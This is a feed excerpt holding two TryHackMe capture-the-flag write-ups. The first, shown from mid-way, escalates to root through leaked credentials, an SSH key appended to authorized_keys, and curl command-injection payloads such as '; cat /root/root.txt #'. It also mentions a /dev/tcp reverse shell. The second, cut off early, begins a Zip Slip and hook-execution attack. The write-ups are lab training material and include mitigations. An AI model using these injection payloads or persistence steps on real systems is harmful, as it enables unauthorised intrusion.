  127.0.0.1:5038   (matches Asterisk AMI's default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5038 and 3306 were recognizable from their well-known defaults, but 3000, 8080, 8088, 8089, and 9000 were all unknowns at this point - just doors with no labels on them.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ps aux&lt;/code&gt; is what actually identified them. It showed a &lt;code&gt;var/www&lt;/code&gt; tree called &lt;code&gt;infinity_pool&lt;/code&gt; with three separate Python/gunicorn processes, each running as a different user:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's where the port-to-service mapping actually came from: &lt;code&gt;edge&lt;/code&gt; (the app already owned, running as &lt;code&gt;web&lt;/code&gt;) is bound to 80; a separate &lt;code&gt;watchtower&lt;/code&gt; process runs as its own &lt;code&gt;svc-watch&lt;/code&gt; user on 3000; and &lt;code&gt;automation&lt;/code&gt; runs as &lt;strong&gt;root&lt;/strong&gt; on 9000 - the first real sign of something worth escalating toward. &lt;code&gt;ss&lt;/code&gt; alone never suggested any of that; it took reading the process list to connect ports to services and owners. (8080, 8088, and 8089 turned out later to be Apache/FreePBX and Asterisk's HTTP/ARI interfaces respectively - that only became clear once UCP was reached directly through 8080; &lt;code&gt;ps aux&lt;/code&gt; didn't tie those ports to Apache as cleanly at this stage.)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/etc/systemd/system/cc-automation.service&lt;/code&gt; confirmed the important detail - the automation service on port 9000 runs as &lt;strong&gt;root&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight systemd"&gt;&lt;code&gt;&lt;span class="k"&gt;[Unit]&lt;/span&gt;
&lt;span class="nt"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;Closed Circuit - Automation job runner (loopback, root)

&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="nt"&gt;User&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;root
&lt;span class="nt"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;root
&lt;span class="nt"&gt;WorkingDirectory&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;/var/www/infinity_pool/automation
&lt;span class="nt"&gt;EnvironmentFile&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;/var/www/infinity_pool/automation/automation.env
&lt;span class="nt"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;automation.env&lt;/code&gt; itself was unreadable as &lt;code&gt;web&lt;/code&gt; (permission denied), so the automation Bearer key had to come from somewhere else.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential leak via Watchtower
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;curl http://localhost:3000/api/config&lt;/code&gt; (the "Watchtower - ops console" service) returned FreePBX UCP credentials in plaintext, explicitly flagged by an internal ops note as not yet rotated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"automation_endpoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:9000"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"internal network only -- do not expose"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"ops_note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"telephony_pass"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"St4yN0t1c3d_2026"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"telephony_portal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:8080/ucp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"telephony_user"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"FreePBXUCPTemplateCreator"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;curl http://localhost:9000/health&lt;/code&gt; confirmed the automation service's shape and that it runs as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"endpoints"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"GET /health"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"service status"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"POST /jobs/export"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;automation key&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"report"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;report name&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"desc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"archive the latest data export"&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"runs_as"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"root"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"service"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"automation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trying the leaked UCP creds directly against Asterisk AMI (5038) failed - wrong service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;timeout &lt;/span&gt;5 bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'(echo -e "Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n"; sleep 2) | nc 127.0.0.1 5038'&lt;/span&gt;
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting into the UCP dashboard
&lt;/h3&gt;

&lt;p&gt;curl-based scripted logins against &lt;code&gt;http://127.0.0.1:8080/ucp/&lt;/code&gt; (grabbing the CSRF &lt;code&gt;token&lt;/code&gt; from the login form, then POSTing &lt;code&gt;token&lt;/code&gt;/&lt;code&gt;username&lt;/code&gt;/&lt;code&gt;password&lt;/code&gt;) technically returned HTTP 200 each time but never actually authenticated - the response kept showing an empty &lt;code&gt;&amp;lt;h3&amp;gt;Welcome &amp;lt;/h3&amp;gt;&lt;/code&gt; and a fresh, unused login form, and later attempts just hung/timed out entirely. The UCP login flow depends on client-side JS/AJAX behavior that plain curl POSTs don't reproduce.&lt;/p&gt;

&lt;p&gt;Fix: add an SSH public key to &lt;code&gt;web&lt;/code&gt;'s &lt;code&gt;authorized_keys&lt;/code&gt; (writable as &lt;code&gt;web&lt;/code&gt;) and SSH in directly, then forward the internal port out to a real browser instead of fighting curl:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'ssh-ed25519 AAAA...&amp;lt;REDACTED&amp;gt;... kali@kali'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:127.0.0.1:8080 web@&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browsing to &lt;code&gt;http://127.0.0.1:8080/ucp/&lt;/code&gt; and logging in with &lt;code&gt;FreePBXUCPTemplateCreator&lt;/code&gt; / &lt;code&gt;St4yN0t1c3d_2026&lt;/code&gt; worked immediately through the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leaking the automation key through a voicemail CID
&lt;/h3&gt;

&lt;p&gt;Inside UCP, adding a new dashboard tab and a Voicemail widget for the &lt;code&gt;FreePBXUCPTemplateCreator&lt;/code&gt; mailbox surfaced a single voicemail whose Caller ID field had leaked the automation service's Bearer token:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: &lt;code&gt;"Automation Key cc_auto_7b3f9a1c4e0d2f6a" &amp;lt;9000&amp;gt;&lt;/code&gt; (extension 9000 lines up with the automation service's port)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is an internal misconfiguration - a caller-ID/name lookup process appears to have templated the automation key straight into the CID name field for calls involving extension 9000, and that field is fully visible to anyone with UCP voicemail access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Root via second command injection (automation service)
&lt;/h3&gt;

&lt;p&gt;With the key in hand, &lt;code&gt;/jobs/export&lt;/code&gt; behaved like the earlier &lt;code&gt;netcheck&lt;/code&gt; endpoint - the &lt;code&gt;report&lt;/code&gt; field gets built into a shell command (&lt;code&gt;tar czf /var/automation/exports/&amp;lt;report&amp;gt;.tgz /var/automation/data ...&lt;/code&gt;) without sanitization, and it runs as root. Breaking out with &lt;code&gt;;&lt;/code&gt; and closing the rest of the line with &lt;code&gt;#&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:9000/jobs/export &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"report":"x.tgz /var/automation/data; id #"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"uid=0(root) gid=0(root) groups=0(root)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;tar: Removing leading `/' from member names&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed root, then read the flag directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:9000/jobs/export &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"THM{tr4c3d_t0_th3_h0r1z0n}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;tar: Removing leading `/' from member names&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{tr4c3d_t0_th3_h0r1z0n}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Information disclosure via &lt;code&gt;robots.txt&lt;/code&gt; + JS comment&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/robots.txt&lt;/code&gt;, &lt;code&gt;/static/app.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Revealed hidden internal staff endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;OS command injection (unsanitized &lt;code&gt;host&lt;/code&gt; param, &lt;code&gt;shell=True&lt;/code&gt; + f-string)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /internal/netcheck&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;web&lt;/code&gt; (uid 1001)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Plaintext credential disclosure via internal API&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GET /api/config&lt;/code&gt; on Watchtower (127.0.0.1:3000)&lt;/td&gt;
&lt;td&gt;Leaked live FreePBX UCP credentials, explicitly noted as unrotated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Sensitive token leaked into an unrelated UI field (caller ID)&lt;/td&gt;
&lt;td&gt;UCP voicemail Caller ID, extension 9000&lt;/td&gt;
&lt;td&gt;Leaked automation service Bearer token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;OS command injection (unsanitized &lt;code&gt;report&lt;/code&gt; param, root-run service)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;POST /jobs/export&lt;/code&gt; on automation service (127.0.0.1:9000)&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[robots.txt disallow] --&amp;gt; [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;&amp;lt;cmd&amp;gt; to /internal/netcheck] --&amp;gt; [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --&amp;gt; [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --&amp;gt; [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --&amp;gt; [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web's authorized_keys] --&amp;gt; [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --&amp;gt; [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;&amp;lt;cmd&amp;gt;# to /jobs/export with Bearer key] --&amp;gt; [OS command injection as root]
        |
        v
[root.txt captured]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never pass user-supplied input directly into a shell command; use a subprocess call with argument lists (no &lt;code&gt;shell=True&lt;/code&gt;) and validate input against a strict allowlist. Both &lt;code&gt;/internal/netcheck&lt;/code&gt; (&lt;code&gt;host&lt;/code&gt;) and &lt;code&gt;/jobs/export&lt;/code&gt; (&lt;code&gt;report&lt;/code&gt;) need this fix.&lt;/li&gt;
&lt;li&gt;Remove reliance on &lt;code&gt;robots.txt&lt;/code&gt; and client-side JS comments to "hide" internal tooling - enforce authentication/network-level restriction (VPN, IP allowlist, or auth gateway as the code comment itself suggests was planned).&lt;/li&gt;
&lt;li&gt;Never return credentials in plaintext from an internal "status/config" API, even on a loopback-only service - internal-only does not mean untrusted-process-proof once any foothold exists on the host.&lt;/li&gt;
&lt;li&gt;Rotate default/template credentials (the app's own ops note flagged this and it was never acted on) and avoid shipping template accounts with static, reused passwords.&lt;/li&gt;
&lt;li&gt;Do not template secrets (like the automation Bearer key) into user-visible fields such as caller ID / display name - secrets belong in dedicated secret storage, not in fields designed for human-readable display data.&lt;/li&gt;
&lt;li&gt;Run internal automation services with least privilege - the &lt;code&gt;/jobs/export&lt;/code&gt; service should not run as root; a dedicated low-privilege service account with only the file/archive permissions it needs would have contained this to a much smaller blast radius.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>writeup</category>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : The Hollow Shell</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 06 Aug 2026 14:23:33 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-the-hollow-shell-1ko1</link>
      <guid>https://dev.to/exploitnotes/tryhackme-the-hollow-shell-1ko1</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an&lt;br&gt;
authenticated concierge upload themed "shells" as &lt;code&gt;.zip&lt;/code&gt; archives. Each&lt;br&gt;
archive must contain a &lt;code&gt;shell.json&lt;/code&gt; manifest, and optionally an &lt;code&gt;assets&lt;/code&gt;&lt;br&gt;
list plus an undocumented &lt;code&gt;hooks&lt;/code&gt; field described only as "automation&lt;br&gt;
hooks" applied by a background "theme worker." The archive is extracted&lt;br&gt;
server-side with no path sanitization, giving arbitrary file write via&lt;br&gt;
Zip Slip. Combined with the hooks field being executed as a shell command&lt;br&gt;
by the worker process, this chains into full RCE as the &lt;code&gt;roomservice&lt;/code&gt;&lt;br&gt;
user.&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;nmap -A -Pn 10.48.182.209

PORT     STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;5000/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Gunicorn on 5000 redirecting to &lt;code&gt;/login&lt;/code&gt; - a Flask app behind a WSGI&lt;br&gt;
server. SSH open but no creds yet, so 5000 is the way in.&lt;/p&gt;
&lt;h2&gt;
  
  
  Authentication
&lt;/h2&gt;

&lt;p&gt;Default/guessed creds worked on &lt;code&gt;/login&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://10.48.182.209:5000/login &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=concierge&amp;amp;password=StayNoticed2024!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Session cookie in hand, &lt;code&gt;/dashboard&lt;/code&gt; rendered the upload panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).

A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stood out immediately: a required manifest filename&lt;br&gt;
(&lt;code&gt;shell.json&lt;/code&gt;) and an unexplained &lt;code&gt;hooks&lt;/code&gt; mechanism processed by a&lt;br&gt;
separate worker.&lt;/p&gt;
&lt;h2&gt;
  
  
  Mapping the upload flow
&lt;/h2&gt;

&lt;p&gt;First upload attempt used a wrongly-named manifest (&lt;code&gt;test.json&lt;/code&gt;) and&lt;br&gt;
silently failed to register - the app requires the exact filename&lt;br&gt;
&lt;code&gt;shell.json&lt;/code&gt; at the zip root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'{"name":"test", "assets":[]}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.json
zip test.zip shell.json
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"shell=@test.zip"&lt;/span&gt; http://10.48.182.209:5000/upload
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://10.48.182.209:5000/dashboard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;shells/8d23a80c3894/&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;id&lt;/code&gt; field is a directory path. Files inside it are served by exact&lt;br&gt;
filename (no directory index):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Zip Slip - confirming arbitrary write
&lt;/h2&gt;

&lt;p&gt;Extraction uses each zip member's raw path with no &lt;code&gt;os.path.basename()&lt;/code&gt;&lt;br&gt;
or normalization. A relative traversal entry alongside a valid&lt;br&gt;
&lt;code&gt;shell.json&lt;/code&gt; (so the archive still registers) proved this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ZipFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;evil8.zip&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
